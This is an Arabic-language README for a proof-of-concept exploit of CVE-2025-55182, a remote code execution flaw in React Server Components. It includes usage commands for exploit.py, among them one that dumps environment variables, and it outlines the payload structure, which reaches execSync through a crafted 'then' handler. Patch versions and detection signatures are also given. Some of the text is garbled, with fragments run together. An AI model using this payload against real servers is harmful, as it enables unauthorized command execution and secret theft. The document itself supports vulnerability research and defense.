
إثبات المفهوم لـ React2Shell (CVE-2025-55182)
يحتوي هذا المستودع على إثبات مفهوم لـ CVE-2025-55182، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في مكونات خادم React. هذا مخصص لأغراض الاختبار الأمني المصرح به والبحث فقط.
React:
Next.js:
تستغل الثغرة إلغاء التسلسل غير الآمن في بروتوكول Flight لمكونات خادم React. عندما يتلقى الخادم حمولة معدّة خصيصًا، يفشل في التحقق من البنية بشكل صحيح قبل إلغاء التسلسل، مما يسمح للبيانات التي يتحكم بها المهاجم بالتلاعب بالتنفيذ على جانب الخادم.
then مخصصةprocess.mainModule.require('child_process')npm install
npm run dev
سيبدأ الخادم على http://localhost:3000
app/
├── page.js # الصفحة الرئيسية مع ServerForm
├── ServerForm.js # مكون العميل مع نموذج
├── actions.js # إجراء الخادم الضعيف
└── layout.js # التخطيط الجذري
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target: عنوان URL الهدف (مطلوب)-c, --command: أمر Shell للتنفيذ (الافتراضي: id)--check-only: التحقق فقط مما إذا كان الهدف يبدو ضعيفًاالتحقق مما إذا كان الهدف ضعيفًا:
python3 exploit.py -t http://localhost:3000 --check-only
تنفيذ أوامر تعسفية:
# الحصول على معلومات المستخدم
python3 exploit.py -t http://localhost:3000 -c "id"
# عرض الملفات
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# إنشاء ملف كإثبات
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# قراءة متغيرات البيئة
python3 exploit.py -t http://localhost:3000 -c "env"
يستخدم الاستغلال بيانات متعددة الأجزاء من النموذج مع:
الحقل "0": JSON ضار مع معالج 'then' مخصص
الحقل "1": مرجع إلى الحقل 0 ($@0)
الرأس: Next-Action: x (يشغل معالجة RSC)
تتلاعب الحمولة بالكائن الداخلي _response لتنفيذ:
process.mainModule.require('child_process').execSync('<command>')
تحديث React:
npm install [email protected] [email protected]
تحديث Next.js:
npm install [email protected] # أو أحدث إصدار مصحح
Next-Action$@then مشبوهة في أجسام الطلباتPOST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...تحتوي على {"then":"$@
يتم توفير إثبات المفهوم هذا لأغراض تعليمية واختبار أمني مصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن سوء استخدام هذه المعلومات.
لا تفعل:
MIT License - لأغراض البحث الأمني فقط